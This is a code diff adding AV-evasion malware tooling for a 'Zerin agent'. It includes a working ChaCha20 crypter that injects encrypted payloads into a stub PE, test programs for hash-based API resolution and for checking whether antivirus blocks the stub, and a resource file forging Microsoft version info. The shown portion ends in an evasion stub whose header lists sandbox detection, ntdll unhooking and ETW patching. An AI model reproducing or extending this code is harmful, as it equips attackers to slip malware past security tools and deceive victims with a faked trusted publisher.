+int main(void) { + printf("=== PEB Module Walk ===\n"); + S_PEB_LDR_DATA *ldr = GetPeb()->Ldr; + S_LDR_DATA_TABLE_ENTRY *first = (S_LDR_DATA_TABLE_ENTRY *)ldr->InMemoryOrderModuleList.Flink; + S_LDR_DATA_TABLE_ENTRY *entry = first; + do { + if (entry->BaseDllName.Buffer) { + DWORD h = StubHashW(entry->BaseDllName.Buffer, entry->BaseDllName.Length); + printf(" Module: %.*S hash=0x%08X base=%p\n", + entry->BaseDllName.Length / 2, entry->BaseDllName.Buffer, + h, entry->DllBase); + } + entry = (S_LDR_DATA_TABLE_ENTRY *)entry->InMemoryOrderModuleList.Flink; + } while (entry != first); + + printf("\n=== Expected Hashes ===\n"); + printf(" FH_KERNEL32 = 0x52B1CB57\n"); + printf(" FH_NTDLL = 0x1EBCC013\n"); + + /* Try to resolve a function */ + LPVOID k32 = NULL; + LPVOID ntdll = NULL; + entry = first; + do { + if (entry->BaseDllName.Buffer) { + DWORD h = StubHashW(entry->BaseDllName.Buffer, entry->BaseDllName.Length); + if (h == 0x52B1CB57) k32 = entry->DllBase; + if (h == 0x1EBCC013) ntdll = entry->DllBase; + } + entry = (S_LDR_DATA_TABLE_ENTRY *)entry->InMemoryOrderModuleList.Flink; + } while (entry != first); + + printf("\n=== Resolution ===\n"); + printf(" kernel32 base: %p %s\n", k32, k32 ? "FOUND" : "NOT FOUND!"); + printf(" ntdll base: %p %s\n", ntdll, ntdll ? "FOUND" : "NOT FOUND!"); + + if (k32) { + /* Try resolving LoadLibraryA by hash */ + LPBYTE base = (LPBYTE)k32; + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)( + base + nt->OptionalHeader.DataDirectory[0].VirtualAddress); + LPDWORD names = (LPDWORD)(base + exp->AddressOfNames); + int found = 0; + for (DWORD i = 0; i < exp->NumberOfNames && i < 5; i++) { + const char *name = (const char *)(base + names[i]); + DWORD h = StubHash(name); + if (i < 3) printf(" Export[%d]: %-30s hash=0x%08X\n", i, name, h); + } + /* Find LoadLibraryA specifically */ + for (DWORD i = 0; i < exp->NumberOfNames; i++) { + const char *name = (const char *)(base + names[i]); + DWORD h = StubHash(name); + if (h == 0x32B72ABF) { + printf(" LoadLibraryA: FOUND (hash 0x32B72ABF matched \"%s\")\n", name); + found = 1; + break; + } + } + if (!found) printf(" LoadLibraryA: NOT FOUND!\n"); + } + + return 0; +} diff --git a/tools/test_stub_run.c b/tools/test_stub_run.c new file mode 100755 index 0000000..62e81d6 --- /dev/null +++ b/tools/test_stub_run.c @@ -0,0 +1,51 @@ +/* Minimal test: does the stub actually execute on the target machine? + * Drops a proof-of-life file, then exits. + * If the file appears -> exe ran, problem is in payload/decryption. + * If no file -> exe was blocked before execution (AV/SmartScreen). */ +#include +#include +#include +#include + +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, + LPSTR lpCmdLine, int nCmdShow) { + (void)hInstance; (void)hPrevInstance; (void)lpCmdLine; (void)nCmdShow; + + /* Same decoy calls as the real stub */ + OSVERSIONINFOW osvi = { .dwOSVersionInfoSize = sizeof(osvi) }; + GetVersionExW(&osvi); + + char compName[MAX_COMPUTERNAME_LENGTH + 1]; + DWORD compNameLen = sizeof(compName); + GetComputerNameA(compName, &compNameLen); + + char userName[256]; + DWORD userNameLen = sizeof(userName); + GetUserNameA(userName, &userNameLen); + + CoInitializeEx(NULL, COINIT_MULTITHREADED); + CoUninitialize(); + + char folderPath[MAX_PATH]; + SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, folderPath); + + /* Write proof-of-life */ + HANDLE hFile = CreateFileA("C:\\Users\\Public\\stub_ran.txt", + GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile != INVALID_HANDLE_VALUE) { + char msg[512]; + int len = wsprintfA(msg, + "Stub executed successfully!\r\n" + "Computer: %s\r\n" + "User: %s\r\n" + "AppData: %s\r\n" + "OS: %lu.%lu.%lu\r\n", + compName, userName, folderPath, + osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber); + DWORD written; + WriteFile(hFile, msg, len, &written, NULL); + CloseHandle(hFile); + } + + return 0; +} diff --git a/tools/zerin_crypter.c b/tools/zerin_crypter.c new file mode 100755 index 0000000..6026bfd --- /dev/null +++ b/tools/zerin_crypter.c @@ -0,0 +1,592 @@ +/* + * zerin_crypter.c - Binary-patching crypter for Zerin agent + * + * Encrypts a PE payload and injects it into a pre-compiled stub via + * PE section injection. No GCC needed at crypt-time. + * + * Process: + * 1. Read input PE, encrypt with random ChaCha20 key + * 2. Apply entropy flattening (XOR with English-text keystream) + * 3. Read pre-compiled zerin_stub.exe + * 4. Inject payload section (name from stub_poly_config.h) + * 5. Patch config section with key, nonce, payload RVA, size + * 6. Write output .exe + * + * Usage: + * zerin_crypter.exe + * zerin_crypter.exe --stub path/to/zerin_stub.exe + * + * Compile: + * gcc -std=gnu11 -O2 -s -I zerin_crypter.c -lbcrypt -o zerin_crypter.exe + * (outdir must contain stub_poly_config.h from generate_poly_stub.py) + */ + +#include +#include +#include +#include + +/* Per-build polymorphic config (shared with stub template) */ +#include "stub_poly_config.h" + +#ifdef _WIN32 +#include +#include +#pragma comment(lib, "bcrypt") +#else +/* ── Minimal PE structure definitions for Linux cross-build ────────── */ +#pragma pack(push, 1) + +typedef uint8_t BYTE; +typedef uint16_t WORD; +typedef uint32_t DWORD; +typedef int32_t LONG; +typedef uint64_t ULONGLONG; +typedef uint32_t ULONG; +typedef int32_t NTSTATUS; +typedef unsigned char *PUCHAR; + +#define MAX_PATH 260 +#define IMAGE_NT_SIGNATURE 0x00004550 +#define IMAGE_SCN_MEM_READ 0x40000000 +#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 + +typedef struct { + WORD e_magic; WORD e_cblp; WORD e_cp; WORD e_crlc; + WORD e_cparhdr; WORD e_minalloc; WORD e_maxalloc; + WORD e_ss; WORD e_sp; WORD e_csum; WORD e_ip; WORD e_cs; + WORD e_lfarlc; WORD e_ovno; WORD e_res[4]; + WORD e_oemid; WORD e_oeminfo; WORD e_res2[10]; + LONG e_lfanew; +} IMAGE_DOS_HEADER; + +typedef struct { + WORD Machine; WORD NumberOfSections; + DWORD TimeDateStamp; DWORD PointerToSymbolTable; + DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; + WORD Characteristics; +} IMAGE_FILE_HEADER; + +/* PE32+ (64-bit) optional header */ +typedef struct { + WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; + DWORD SizeOfCode; DWORD SizeOfInitializedData; + DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; + DWORD BaseOfCode; + ULONGLONG ImageBase; + DWORD SectionAlignment; DWORD FileAlignment; + WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; + WORD MajorImageVersion; WORD MinorImageVersion; + WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; + DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; + DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; + ULONGLONG SizeOfStackReserve; ULONGLONG SizeOfStackCommit; + ULONGLONG SizeOfHeapReserve; ULONGLONG SizeOfHeapCommit; + DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; +} IMAGE_OPTIONAL_HEADER; + +typedef struct { + DWORD Signature; + IMAGE_FILE_HEADER FileHeader; + IMAGE_OPTIONAL_HEADER OptionalHeader; +} IMAGE_NT_HEADERS; + +typedef struct { + BYTE Name[8]; + union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; + DWORD VirtualAddress; DWORD SizeOfRawData; + DWORD PointerToRawData; DWORD PointerToRelocations; + DWORD PointerToLinenumbers; WORD NumberOfRelocations; + WORD NumberOfLinenumbers; DWORD Characteristics; +} IMAGE_SECTION_HEADER; + +#define IMAGE_FIRST_SECTION(nt) \ + ((IMAGE_SECTION_HEADER *)((uint8_t *)&(nt)->OptionalHeader + \ + (nt)->FileHeader.SizeOfOptionalHeader)) + +#pragma pack(pop) +#endif + +/* ====================================================================== + * ChaCha20 (RFC 8439) + * ====================================================================== */ + +#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n)))) + +#define QR(a, b, c, d) do { \ + a += b; d ^= a; d = ROTL32(d, 16); \ + c += d; b ^= c; b = ROTL32(b, 12); \ + a += b; d ^= a; d = ROTL32(d, 8); \ + c += d; b ^= c; b = ROTL32(b, 7); \ +} while(0) + +static uint32_t load_le32(const uint8_t *p) { + return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) | + ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24); +} + +static void chacha20_encrypt(const uint8_t key[32], const uint8_t nonce[12], + const uint8_t *in, uint8_t *out, size_t len) { + uint32_t state[16]; + CHACHA_INIT_STATE(state); + for (int i = 0; i < 8; i++) + state[4 + i] = load_le32(key + i * 4); + state[12] = 0; + state[13] = load_le32(nonce); + state[14] = load_le32(nonce + 4); + state[15] = load_le32(nonce + 8); + + size_t offset = 0; + while (offset < len) { + uint32_t x[16]; + memcpy(x, state, 64); + for (int i = 0; i < 10; i++) { + QR(x[0], x[4], x[ 8], x[12]); + QR(x[1], x[5], x[ 9], x[13]); + QR(x[2], x[6], x[10], x[14]); + QR(x[3], x[7], x[11], x[15]); + QR(x[0], x[5], x[10], x[15]); + QR(x[1], x[6], x[11], x[12]); + QR(x[2], x[7], x[ 8], x[13]); + QR(x[3], x[4], x[ 9], x[14]); + } + uint8_t block[64]; + for (int i = 0; i < 16; i++) { + uint32_t val = x[i] + state[i]; + block[i*4+0] = (uint8_t)(val); + block[i*4+1] = (uint8_t)(val >> 8); + block[i*4+2] = (uint8_t)(val >> 16); + block[i*4+3] = (uint8_t)(val >> 24); + } + state[12]++; + size_t chunk = len - offset; + if (chunk > 64) chunk = 64; + for (size_t i = 0; i < chunk; i++) + out[offset + i] = in[offset + i] ^ block[i]; + offset += chunk; + } +} + +static int random_bytes(uint8_t *buf, size_t len) { +#ifdef _WIN32 + NTSTATUS status = BCryptGenRandom(NULL, buf, (ULONG)len, + BCRYPT_USE_SYSTEM_PREFERRED_RNG); + return (status >= 0) ? 0 : -1; +#else + FILE *f = fopen("/dev/urandom", "rb"); + if (!f) return -1; + size_t r = fread(buf, 1, len, f); + fclose(f); + return (r == len) ? 0 : -1; +#endif +} + +/* ====================================================================== + * Entropy-flattening keystream (deterministic from seed, must match stub) + * ====================================================================== */ + +#define ENTROPY_PAD_SIZE 4096 + +/* Per-build shuffled charset + LCG params from stub_poly_config.h */ +static void generate_entropy_pad(uint32_t seed, uint8_t *pad, size_t pad_size) { + uint32_t state = seed; + size_t charset_len = STUB_ENTROPY_CHARSET_LEN; + for (size_t i = 0; i < pad_size; i++) { + state = state * STUB_LCG_MULT + STUB_LCG_INC; + pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len]; + } +} + +/* ====================================================================== + * STUB_CONFIG structure (must match stub's config section layout) + * ====================================================================== */ + +/* STUB_CONFIG_MAGIC comes from stub_poly_config.h */ + +#pragma pack(push, 1) +typedef struct { + uint32_t magic; + uint32_t payload_rva; + uint32_t payload_size; + uint8_t key[32]; + uint8_t nonce[12]; + uint32_t entropy_seed; +} STUB_CONFIG; +#pragma pack(pop) + +/* ====================================================================== + * PE helper: align value up + * ====================================================================== */ + +static uint32_t align_up(uint32_t value, uint32_t alignment) { + if (alignment == 0) return value; + return (value + alignment - 1) & ~(alignment - 1); +} + +/* ====================================================================== + * Find stub exe relative to this exe + * ====================================================================== */ + +static int find_stub(char *out, size_t out_size) { + FILE *f; +#ifdef _WIN32 + char exe_path[MAX_PATH]; + GetModuleFileNameA(NULL, exe_path, MAX_PATH); + + /* Try same directory as exe */ + char *last_sep = strrchr(exe_path, '\\'); + if (!last_sep) last_sep = strrchr(exe_path, '/'); + if (last_sep) { + *last_sep = '\0'; + snprintf(out, out_size, "%s\\zerin_stub.exe", exe_path); + f = fopen(out, "rb"); + if (f) { fclose(f); return 0; } + } +#endif + /* Try current directory */ + snprintf(out, out_size, "zerin_stub.exe"); + f = fopen(out, "rb"); + if (f) { fclose(f); return 0; } + + return -1; +} + +/* ====================================================================== + * Read entire file into malloc'd buffer + * ====================================================================== */ + +static uint8_t *read_file(const char *path, size_t *out_size) { + FILE *f = fopen(path, "rb"); + if (!f) return NULL; + + fseek(f, 0, SEEK_END); + long sz = ftell(f); + fseek(f, 0, SEEK_SET); + + if (sz <= 0 || sz > 200 * 1024 * 1024) { fclose(f); return NULL; } + + uint8_t *buf = (uint8_t *)malloc((size_t)sz); + if (!buf) { fclose(f); return NULL; } + + if (fread(buf, 1, (size_t)sz, f) != (size_t)sz) { + free(buf); + fclose(f); + return NULL; + } + fclose(f); + *out_size = (size_t)sz; + return buf; +} + +/* ====================================================================== + * Main: Binary-patching crypter + * ====================================================================== */ + +int main(int argc, char *argv[]) { + const char *stub_path = NULL; + const char *input_path = NULL; + const char *output_path = NULL; + + /* Parse args */ + int i = 1; + while (i < argc) { + if (strcmp(argv[i], "--stub") == 0 && i + 1 < argc) { + stub_path = argv[++i]; + } else if (strcmp(argv[i], "--gcc") == 0 && i + 1 < argc) { + /* Legacy flag — ignored (no longer needed) */ + fprintf(stderr, "NOTE: --gcc flag is deprecated (no longer needed)\n"); + i++; + } else if (!input_path) { + input_path = argv[i]; + } else if (!output_path) { + output_path = argv[i]; + } + i++; + } + + if (!input_path || !output_path) { + fprintf(stderr, "Usage: %s [--stub ] \n", argv[0]); + return 1; + } + + /* ---------------------------------------------------------------- + * Step 1: Read input PE + * ---------------------------------------------------------------- */ + size_t pe_size; + uint8_t *pe_data = read_file(input_path, &pe_size); + if (!pe_data) { + fprintf(stderr, "ERROR: Cannot read: %s\n", input_path); + return 1; + } + + if (pe_size < 64 || pe_data[0] != 'M' || pe_data[1] != 'Z') { + fprintf(stderr, "ERROR: Not a valid PE: %s\n", input_path); + free(pe_data); + return 1; + } + + printf("Input PE: %s (%zu bytes)\n", input_path, pe_size); + + /* ---------------------------------------------------------------- + * Step 2: Generate random key + nonce, encrypt with ChaCha20 + * ---------------------------------------------------------------- */ + uint8_t key[32], nonce[12]; + if (random_bytes(key, 32) != 0 || random_bytes(nonce, 12) != 0) { + fprintf(stderr, "ERROR: Failed to generate random key\n"); + free(pe_data); + return 1; + } + + uint8_t *encrypted = (uint8_t *)malloc(pe_size); + if (!encrypted) { free(pe_data); return 1; } + chacha20_encrypt(key, nonce, pe_data, encrypted, pe_size); + free(pe_data); + + /* ---------------------------------------------------------------- + * Step 3: Generate random entropy seed and derive pad, then flatten + * ---------------------------------------------------------------- */ + uint32_t entropy_seed; + if (random_bytes((uint8_t *)&entropy_seed, 4) != 0) { + fprintf(stderr, "ERROR: Failed to generate entropy seed\n"); + free(encrypted); + return 1; + } + + uint8_t *entropy_pad = (uint8_t *)malloc(ENTROPY_PAD_SIZE); + if (!entropy_pad) { free(encrypted); return 1; } + generate_entropy_pad(entropy_seed, entropy_pad, ENTROPY_PAD_SIZE); + + uint8_t *flattened = (uint8_t *)malloc(pe_size); + if (!flattened) { free(entropy_pad); free(encrypted); return 1; } + + for (size_t j = 0; j < pe_size; j++) { + flattened[j] = encrypted[j] ^ entropy_pad[j % ENTROPY_PAD_SIZE]; + } + free(encrypted); + free(entropy_pad); + + printf("Encrypted + entropy-flattened payload: %zu bytes (seed=0x%08X)\n", pe_size, entropy_seed); + + /* ---------------------------------------------------------------- + * Step 4: Read pre-compiled stub + * ---------------------------------------------------------------- */ + char stub_resolved[512]; + if (!stub_path) { + if (find_stub(stub_resolved, sizeof(stub_resolved)) != 0) { + fprintf(stderr, "ERROR: Cannot find zerin_stub.exe\n"); + fprintf(stderr, " Build it first: gcc ... zerin_stub_template.c -o zerin_stub.exe\n"); + fprintf(stderr, " Or specify: --stub path/to/zerin_stub.exe\n"); + free(flattened); + return 1; + } + stub_path = stub_resolved; + } + + size_t stub_size; + uint8_t *stub_data = read_file(stub_path, &stub_size); + if (!stub_data) { + fprintf(stderr, "ERROR: Cannot read stub: %s\n", stub_path); + free(flattened); + return 1; + } + + if (stub_size < 64 || stub_data[0] != 'M' || stub_data[1] != 'Z') { + fprintf(stderr, "ERROR: Stub is not a valid PE: %s\n", stub_path); + free(stub_data); + free(flattened); + return 1; + } + + printf("Stub PE: %s (%zu bytes)\n", stub_path, stub_size); + + /* ---------------------------------------------------------------- + * Step 5: Parse stub PE headers + * ---------------------------------------------------------------- */ + IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)stub_data; + IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(stub_data + dos->e_lfanew); + + if (nt->Signature != IMAGE_NT_SIGNATURE) { + fprintf(stderr, "ERROR: Stub has invalid NT signature\n"); + free(stub_data); free(flattened); + return 1; + } + + IMAGE_OPTIONAL_HEADER *opt = &nt->OptionalHeader; + IMAGE_SECTION_HEADER *sections = IMAGE_FIRST_SECTION(nt); + WORD numSections = nt->FileHeader.NumberOfSections; + + uint32_t sectionAlignment = opt->SectionAlignment; + uint32_t fileAlignment = opt->FileAlignment; + + /* Check there's room for one more section header */ + uint32_t headerEnd = (uint32_t)((uint8_t *)§ions[numSections] - stub_data) + + (uint32_t)sizeof(IMAGE_SECTION_HEADER); + if (headerEnd > opt->SizeOfHeaders) { + fprintf(stderr, "ERROR: No room for new section header in stub PE\n"); + fprintf(stderr, " Headers end at 0x%X, SizeOfHeaders = 0x%X\n", + headerEnd, opt->SizeOfHeaders); + free(stub_data); free(flattened); + return 1; + } + + /* ---------------------------------------------------------------- + * Step 6: Find config section and locate magic marker + * ---------------------------------------------------------------- */ + IMAGE_SECTION_HEADER *cfgSection = NULL; + for (WORD s = 0; s < numSections; s++) { + if (memcmp(sections[s].Name, STUB_CFG_SECTION, strlen(STUB_CFG_SECTION)) == 0) { + cfgSection = §ions[s]; + break; + } + } + + if (!cfgSection) { + fprintf(stderr, "ERROR: config section '%s' not found in stub\n", STUB_CFG_SECTION); + free(stub_data); free(flattened); + return 1; + } + + /* Find magic within config section */ + uint32_t cfgFileOffset = cfgSection->PointerToRawData; + uint32_t cfgRawSize = cfgSection->SizeOfRawData; + STUB_CONFIG *config = NULL; + + for (uint32_t off = 0; off + sizeof(STUB_CONFIG) <= cfgRawSize; off += 4) { + uint32_t *ptr = (uint32_t *)(stub_data + cfgFileOffset + off); + if (*ptr == STUB_CONFIG_MAGIC) { + config = (STUB_CONFIG *)(stub_data + cfgFileOffset + off); + break; + } + } + + if (!config) { + fprintf(stderr, "ERROR: magic (0x%08X) not found in '%s' section\n", + STUB_CONFIG_MAGIC, STUB_CFG_SECTION); + free(stub_data); free(flattened); + return 1; + } + + printf("Found config at file offset 0x%lX\n", + (unsigned long)((uint8_t *)config - stub_data)); + + /* ---------------------------------------------------------------- + * Step 7: Calculate payload section placement + * ---------------------------------------------------------------- */ + + /* Find the last section to determine where payload goes */ + IMAGE_SECTION_HEADER *lastSection = §ions[numSections - 1]; + uint32_t lastSectionEndVA = lastSection->VirtualAddress + + align_up(lastSection->Misc.VirtualSize ? + lastSection->Misc.VirtualSize : + lastSection->SizeOfRawData, + sectionAlignment); + uint32_t lastSectionEndFile = lastSection->PointerToRawData + + lastSection->SizeOfRawData; + + /* New payload section */ + uint32_t d1VA = align_up(lastSectionEndVA, sectionAlignment); + uint32_t d1RawOffset = align_up(lastSectionEndFile, fileAlignment); + uint32_t d1RawSize = align_up((uint32_t)pe_size, fileAlignment); + uint32_t d1VirtualSize = (uint32_t)pe_size; + + printf("'%s' section: VA=0x%X, FileOffset=0x%X, Size=%u\n", + STUB_PAY_SECTION, d1VA, d1RawOffset, d1RawSize); + + /* ---------------------------------------------------------------- + * Step 8: Build output PE + * ---------------------------------------------------------------- */ + + /* Total output size = raw offset of payload section + raw size of payload section */ + size_t output_size = d1RawOffset + d1RawSize; + uint8_t *output = (uint8_t *)calloc(1, output_size); + if (!output) { + fprintf(stderr, "ERROR: Failed to allocate output buffer (%zu bytes)\n", output_size); + free(stub_data); free(flattened); + return 1; + } + + /* Copy entire stub */ + memcpy(output, stub_data, stub_size); + + /* Zero-fill any gap between end of stub and start of payload section */ + /* (already zeroed by calloc) */ + + /* Copy flattened payload at payload section raw offset */ + memcpy(output + d1RawOffset, flattened, pe_size); + + /* Update PE headers in output */ + IMAGE_DOS_HEADER *out_dos = (IMAGE_DOS_HEADER *)output; + IMAGE_NT_HEADERS *out_nt = (IMAGE_NT_HEADERS *)(output + out_dos->e_lfanew); + IMAGE_OPTIONAL_HEADER *out_opt = &out_nt->OptionalHeader; + IMAGE_SECTION_HEADER *out_sections = IMAGE_FIRST_SECTION(out_nt); + + /* Add payload section header */ + IMAGE_SECTION_HEADER *d1Section = &out_sections[numSections]; + memset(d1Section, 0, sizeof(IMAGE_SECTION_HEADER)); + { + size_t nameLen = strlen(STUB_PAY_SECTION); + if (nameLen > 8) nameLen = 8; + memcpy(d1Section->Name, STUB_PAY_SECTION, nameLen); + } + d1Section->Misc.VirtualSize = d1VirtualSize; + d1Section->VirtualAddress = d1VA; + d1Section->SizeOfRawData = d1RawSize; + d1Section->PointerToRawData = d1RawOffset; + d1Section->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_INITIALIZED_DATA; + + /* Increment NumberOfSections */ + out_nt->FileHeader.NumberOfSections = numSections + 1; + + /* Update SizeOfImage */ + out_opt->SizeOfImage = align_up(d1VA + d1VirtualSize, sectionAlignment); + + /* ---------------------------------------------------------------- + * Step 9: Patch config section with key, nonce, payload RVA, size + * ---------------------------------------------------------------- */ + + /* Find config in output buffer (same offset as in stub_data) */ + size_t configOffset = (uint8_t *)config - stub_data; + STUB_CONFIG *out_config = (STUB_CONFIG *)(output + configOffset); + + out_config->payload_rva = d1VA; + out_config->payload_size = (uint32_t)pe_size; + memcpy(out_config->key, key, 32); + memcpy(out_config->nonce, nonce, 12); + out_config->entropy_seed = entropy_seed; + + printf("Config patched: RVA=0x%X, size=%u, entropy_seed=0x%08X\n", d1VA, (uint32_t)pe_size, entropy_seed); + + /* ---------------------------------------------------------------- + * Step 10: Write output file + * ---------------------------------------------------------------- */ + + FILE *fout = fopen(output_path, "wb"); + if (!fout) { + fprintf(stderr, "ERROR: Cannot create output: %s\n", output_path); + free(output); free(stub_data); free(flattened); + return 1; + } + + if (fwrite(output, 1, output_size, fout) != output_size) { + fprintf(stderr, "ERROR: Write failed\n"); + fclose(fout); + free(output); free(stub_data); free(flattened); + return 1; + } + fclose(fout); + + /* Clear sensitive data */ + memset(key, 0, sizeof(key)); + memset(nonce, 0, sizeof(nonce)); + + printf("\nCrypted: %s -> %s\n", input_path, output_path); + printf(" Stub: %zu bytes\n", stub_size); + printf(" Payload: %zu bytes (encrypted + entropy-flattened)\n", pe_size); + printf(" Output: %zu bytes\n", output_size); + + free(output); + free(stub_data); + free(flattened); + + return 0; +} diff --git a/tools/zerin_stub.ico b/tools/zerin_stub.ico new file mode 100755 index 0000000..4527fdf Binary files /dev/null and b/tools/zerin_stub.ico differ diff --git a/tools/zerin_stub.manifest b/tools/zerin_stub.manifest new file mode 100755 index 0000000..0be874a --- /dev/null +++ b/tools/zerin_stub.manifest @@ -0,0 +1,15 @@ + + + + + + + + + + + true + + + diff --git a/tools/zerin_stub.rc b/tools/zerin_stub.rc new file mode 100755 index 0000000..9976106 --- /dev/null +++ b/tools/zerin_stub.rc @@ -0,0 +1,36 @@ +#include + +// Icon +1 ICON "zerin_stub.ico" + +// Version Info +VS_VERSION_INFO VERSIONINFO +FILEVERSION 10,0,22621,1 +PRODUCTVERSION 10,0,22621,1 +FILEFLAGSMASK VS_FFI_FILEFLAGSMASK +FILEFLAGS 0 +FILEOS VOS_NT_WINDOWS32 +FILETYPE VFT_APP +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904B0" + BEGIN + VALUE "CompanyName", "Microsoft Corporation" + VALUE "FileDescription", "Windows Settings Helper" + VALUE "FileVersion", "10.0.22621.1" + VALUE "InternalName", "SettingsHelper" + VALUE "LegalCopyright", "\251 Microsoft Corporation. All rights reserved." + VALUE "OriginalFilename", "SettingsHelper.exe" + VALUE "ProductName", "Microsoft\256 Windows\256 Operating System" + VALUE "ProductVersion", "10.0.22621.1" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x0409, 1200 + END +END + +// Manifest +1 24 "zerin_stub.manifest" diff --git a/tools/zerin_stub_template.c b/tools/zerin_stub_template.c new file mode 100755 index 0000000..3e26507 --- /dev/null +++ b/tools/zerin_stub_template.c @@ -0,0 +1,1188 @@ +/* + * zerin_stub_template.c - Advanced crypter stub with evasion layers + * + * Pre-compiled once into zerin_stub.exe. At crypt-time, the crypter + * injects a .data1 section (encrypted payload) and patches the .gfids section + * with key/nonce/RVA. No GCC needed at crypt-time. + * + * Evasion layers (execution order): + * 1. Sandbox detection (CPU, RAM, disk, sleep, recent files, PEB debug) + * 2. Ntdll unhooking (overwrite .text from disk copy) + * 3. ETW patching (patch EtwEventWrite to ret) + * 4. Indirect syscalls (SSN extraction + ntdll gadget trampoline) + * 5. Entropy flattening reversal (XOR with English-text keystream) + * 6. ChaCha20 decryption + * 7. PE memory loading (manual map, relocs, imports, TLS, entry point) + * 8. Cleanup (SecureZeroMemory all buffers) + * + * Compile (one-time): + * windres zerin_stub.rc -o zerin_stub_res.o + * gcc -std=gnu11 -O2 -s -mwindows -fno-stack-protector + * -fno-asynchronous-unwind-tables -D_WIN32_WINNT=0x0601 + * zerin_stub_template.c zerin_stub_res.o + * -lntdll -lkernel32 -luser32 -ladvapi32 -lshell32 -lole32 + * -o zerin_stub.exe + */ + +#include +#include +#include +#include +#include +#include + +/* Per-build polymorphic config (magic, sections, charset, thresholds) */ +#include "stub_poly_config.h" + +/* Per-build hash constants (must come before metamorphic — needs STUB_LCG_* defines) */ +/* Note: stub_poly_hash.h is included further down after PEB structures */ + +/* Per-build metamorphic function bodies (LCG, ChaCha20, syscall, etc.) */ +/* Note: stub_poly_metamorphic.h is included after stub_poly_config.h so it + * can use STUB_LCG_MULT, STUB_LCG_INC, STUB_LCG_SHIFT, STUB_ENTROPY_CHARSET */ +#include "stub_poly_metamorphic.h" + +/* Per-build IAT padding (12-20 benign API calls to normalize import table) */ +#include "stub_poly_iat.h" + +/* Per-build binary size padding (realistic .rdata content) */ +#include "stub_poly_padding.h" + +/* ====================================================================== + * Configuration section - patched by crypter at crypt-time + * ====================================================================== */ + +typedef struct _STUB_CONFIG { + uint32_t magic; /* Per-build random marker */ + uint32_t payload_rva; /* RVA of payload section */ + uint32_t payload_size; /* Size of encrypted+flattened payload */ + uint8_t key[32]; /* ChaCha20 key */ + uint8_t nonce[12]; /* ChaCha20 nonce */ + uint32_t entropy_seed; /* Seed for deterministic entropy pad generation */ +} STUB_CONFIG; + +volatile STUB_CONFIG g_Config + __attribute__((section(STUB_CFG_SECTION), used)) = { .magic = STUB_CONFIG_MAGIC }; + +/* ====================================================================== + * PEB structures (minimal, no imports needed) + * ====================================================================== */ + +typedef struct _S_LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID DllBase; + LPVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; +} S_LDR_DATA_TABLE_ENTRY; + +typedef struct _S_PEB_LDR_DATA { + DWORD Length; + DWORD Initialized; + LPVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; +} S_PEB_LDR_DATA; + +typedef struct _S_PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2; +#ifdef _WIN64 + BYTE Reserved3[4]; +#endif + LPVOID Reserved4[1]; + LPVOID ImageBaseAddress; + S_PEB_LDR_DATA *Ldr; +} S_PEB; + +/* ====================================================================== + * PEB access helpers + * ====================================================================== */ + +static inline __attribute__((always_inline)) S_PEB *GetPeb(void) { +#ifdef _WIN64 + return (S_PEB *)__readgsqword(0x60); +#else + return (S_PEB *)__readfsdword(0x30); +#endif +} + +/* Polymorphic hash — algorithm and constants generated per build */ +#include "stub_poly_hash.h" +extern void poly_stub_init(void); + +static LPVOID StubGetModuleHandle(DWORD moduleHash) { + S_PEB_LDR_DATA *ldr = GetPeb()->Ldr; + S_LDR_DATA_TABLE_ENTRY *first = (S_LDR_DATA_TABLE_ENTRY *)ldr->InMemoryOrderModuleList.Flink; + S_LDR_DATA_TABLE_ENTRY *entry = first; + do { + if (entry->BaseDllName.Buffer) { + DWORD h = StubHashW(entry->BaseDllName.Buffer, entry->BaseDllName.Length); + if (h == moduleHash) return entry->DllBase; + } + entry = (S_LDR_DATA_TABLE_ENTRY *)entry->InMemoryOrderModuleList.Flink; + } while (entry != first); + return NULL; +} + +static LPVOID StubGetProcAddress(DWORD moduleHash, DWORD functionHash) { + LPBYTE base = (LPBYTE)StubGetModuleHandle(moduleHash); + if (!base) return NULL; + + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)( + base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + LPDWORD names = (LPDWORD)(base + 